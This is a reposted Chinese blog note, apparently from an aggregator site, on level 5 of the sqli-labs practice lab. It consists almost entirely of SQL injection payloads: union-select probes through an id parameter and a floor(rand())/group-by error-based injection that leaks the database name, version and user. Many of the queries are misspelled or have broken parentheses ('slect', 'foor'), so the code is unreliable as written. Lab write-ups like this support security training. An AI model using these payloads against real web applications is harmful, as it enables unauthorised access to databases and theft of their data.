sqlilabs 5

Posted cmlhc

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqlilabs 5相关的知识,希望对你有一定的参考价值。

第一个1不断返回true,2可以进行更改
?id=-1‘ union select 1,2,3 and ‘1
?id=-1‘ union select 1,2,3 and 1=‘1

?id=-1‘ union select 1,@@datadir,3 and ‘1
@@datadir可以替换为 current_user,database() etc..

select rand();
select foor();

select table_name,table_schema from information_schema.tables group by table_schema;

select database();
slect(select database());
slect concat (select database());
slect concat (0x3a,0x3a,select database(),0x3a,0x3a);
slect concat (0x3a,0x3a,select database(),0x3a,0x3a,floor(rand()*2))a;
slect concat (0x3a,0x3a,select database(),0x3a,0x3a,floor(rand()*2))a from information_schema.columns;
slect concat (0x3a,0x3a,select database(),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
slect count(*), concat (0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
slect count(*), concat (0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
slect count(*), concat (0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;
slect count(*), concat (0x3a,0x3a,(select version()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;
slect count(*), concat (0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;
slect count(*), concat (0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;

















以上是关于sqlilabs 5的主要内容,如果未能解决你的问题,请参考以下文章

sqlilabs 5

sqlilabs(SQL注入)小白通基础通关笔记(专针对小白)(第五关Less-5)

sqlilabs23-28a关

sqlilab less11-less18

sqlilabs(SQL注入)小白通基础通关笔记(专针对小白)(目录)

sqlilabs(SQL注入)小白通基础通关笔记(专针对小白)(目录)